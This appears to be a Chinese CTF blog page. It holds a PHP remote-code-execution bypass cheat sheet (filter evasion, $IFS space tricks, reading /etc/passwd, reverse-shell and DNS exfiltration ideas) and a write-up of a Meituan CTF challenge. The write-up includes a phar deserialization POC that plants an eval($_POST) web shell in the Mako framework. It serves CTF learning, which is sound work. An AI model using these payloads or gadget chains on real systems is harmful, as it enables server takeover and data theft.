RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x01 常见命令执行函数

1
2
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()...
1
2
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()...

0x02 Bypass

1.关键词拦截:

  • 关键词替换为空的情况:

    • 双写绕过,比如cacatt -> cat
  • 仅拦截关键字:

    • 使用其他函数,比如拦截cat的时候,可以使用其他命令。

      Input Ouput
      static-sh ./flag.txt ./flag.txt: line 1: flag{this_is_a_test}: not found
      paste ./flag.txt /etc/passwd flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash…
      diff diff ./flag.txt /etc/passwd
      curl file:///home/coffee/flag flag{this_is_a_test}
    • 通配符绕过,比如可以使用/b??/c?t f*该方法有时候会因为输出过多或者运行时间超出限制被强行中断

    • 插入"" <> '' \绕过,比如ca''t flag.txt或者ca\t flag.txt

    • 内联执行,将反引号内命令的输出作为输入执行,如: cat `ls`,或者是cat ${ls}

    • 使用变量替换,如$c=a;cat fl$cg.php

  • 拦截空格,空格可以用以下字符串代替:

    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等,比如:

    1
    2
    3
    4
    5
    6
    cat%09flag
    {cat,flag.txt}
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    cat<flag.txt
    cat<>flag.txt
  • .操作符
    eval函数中用.把被拦截的关键字给分开,比如

    1
    2
    <?php 
    eval(include "/www/lo"."g/nginx/access.log");
  • 逃逸,绕过太难了,直接润出来
    比如

    1
    2
    c=include$_GET[1]?> 
    c=eval($_GET[1])
  • 借壳生蛋

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $env = $_GET['env'];
    if(isset($env)){
    putenv($env);
    system("whoami");
    }else{
    highlight_file(__FILE__);
    }

    ?env=BASH_FUNC_whoami%%=() { ls; }
    whoamisystem(“whoami”)启动的bash环境的函数,相当于我们注册了一个whoami替换它

  • 构造
    在PHP7中,可以这样调用函数:

    1
    2
    3
    ('phpinfo')();
    $a = "phpinfo";$$a;
    ...

    然后就可以使用异或^,取反~,自增++,自减--等方法构造想要的字符然后进行动态函数调用。

    构造字符的时候,可以利用一些PHP的特性:

    • PHP中的NAN和INF:
      1
      2
      3
      4
      5
      6
      NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

      INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

      $_=C/C;//NAN
      $_=1/C//INF

2.无回显

  • 利用sleep()之类的函数来根据服务器响应的时间一个一个字符获获取
    注:该方法局限性很大,且容易受到网络波动影响,不建议优先考虑使用

  • 利用dns外带http://dnslog.cn/
    注:该方法也有一定的局限性,有长度限制而且不支持特殊字符

  • 利用重定向,将输出重定向到可访问网页中

  • 反弹shell
    如果题目不出网只能寄

  • 命令注入,尝试在命令后面加上||%0a%0d|;&等符号将原先重定向到/dev/null的命令分割开

3.include

  • 伪协议
  • 日志包含
    UA写马,包含access.log
  • allow_url_include=ture可以使用的data
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    data类型扩展:

    data类型扩展
    data:,<文本数据>
    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
    Tips: PHP具有极强的鲁棒性特别耐操,尤其是伪协议这块。
    1
    2
    3
    4
    5
    6
    7
    原payload:php://filter/convert.base64-encode/resource=index.php

    我可以插♂ 入一些奇怪的东西
    php://filter/convert.base64-encode/114514/resource=index.php

    我可以大大小小
    php://FiLTer/convert.base64-encode/resource=index.php

4.无参命令执行

这种就基本没活能整了,已经十分固定下来了

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
  • '/[^\W]+\((?R)?\)/'的解释

    这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;

    以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

  • 一些有用的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。

读文件

show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件

PAYLOAD

  1. 请求头

    1
    2
    3
    GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
    .....
    flag: system('id');
  2. get_defined_vars()

    1
    ?code=eval(end(current(get_defined_vars())));&flag=system('ls');

    利用全局变量进RCE

get_defined_vars():返回由所有已定义变量所组成的数组,会返回 _GET,_POST, _COOKIE, _FILES全局变量的值,返回数组顺序为get->post->cookie->files
current:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

3.session_start()

  • session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()

  • session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
    文件读取

  • show_source(session_id(session_start()));

  • var_dump(file_get_contents(session_id(session_start())))

  • highlight_file(session_id(session_start()));

  • readfile(session_id(session_start()));
    抓包传入Cookie: PHPSESSID=(想读的文件)即可

  
 CTF WEB RCE

美团CTF决赛复现 mako

太菜了,被大佬带进决赛了,最后就签个到

环境

密码:1skr

下面部分是我在比赛的时候思考过的

1.开始

页面一进来,十分的清爽,毛都没有,就一个上传文件的东西

随便传点东西,发现是来者不拒,啥都能传,但啥都干不了

访问1.php只会出现404not found这是最令人异或的一点

因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里

可以看见,文件并没有被上传到/var/www/html/这个目录下面

而文件被上传到了/var/www/html/mako/uploads这个目录下

可以肯定的是,文件上传是整不了活了

2.审计

通过搜索关键词,在mako/app/reources/views/home.tpl.php里找到到了首页的源码

很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。

这就很令人苦恼,我当时尝试了一下,使用软链接

直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序

目标也明确了,肯定得想办法执行readFlag,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发

做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize,结果是毛都没搜到。

我经验太少了,当时没想到用phar

3.复现

mako/app/controllers/ImagesController.php文件中

1
2
3
4
5
6
7
8
9
public function editGet(ViewFactory $view): string {
chdir('/var/www/mako/uploads');
$fileName = $this->request->getQuery()->get('filename');
$image = new Image($fileName, new ImageMagick());
$dimensions = $image->getDimensions();
$this->view->assign('fileName', $fileName);
$this->view->assign('dimensions', $dimensions);
return $view->render('edit');
}

可以看到,文件名是不做任何过滤的

而在mako/vendo/mako/framework/src/mako/pixl/image.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function __construct($image, ProcessorInterface $processor)
{
$this->image = $image;

$this->processor = $processor;

// Make sure that the image exists

if(file_exists($this->image) === false)
{
throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image]));
}

// Set the image

$this->processor->open($image);
}

使用了能触发phar反序列化的file_exists函数

关键函数找到了,现在找链子吧

搜索__destruct(),干扰项不多,可以直接开撸

好家伙,我直接好家伙,一条龙服务了属于是qwq

4.攻击

这里搬一手Arr3stY0u战队的poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<?php
namespace mako\file{
class FileSystem{
}
}

namespace mako\session\stores{
use mako\file\FileSystem;

class File{
protected $fileSystem;
protected $sessionPath;

public function __construct(){
$this->fileSystem = new FileSystem();
$this->sessionPath = '/var/www/mako/public/';
}
}
}

namespace mako\session{
use mako\session\stores\File;

class Session{
protected $autoCommit;
protected $destroyed = false;
protected $sessionId;
protected $sessionData = [];
protected $store;

public function __construct(){
$this->autoCommit = true;
$this->destroyed = false;
$this->store = new File();
$this->sessionId = 'shell.php';
$this->sessionData = ['a'=>'<?php eval($_POST[1]);?>'];
}
}
}

namespace {
$exp = new mako\session\Session();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($exp);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
};

上传文件

getshell

flag is here

5.总结反思

经验不足,做题不够,欠练


:D 一言句子获取中...

加载中,最新评论有1分钟缓存...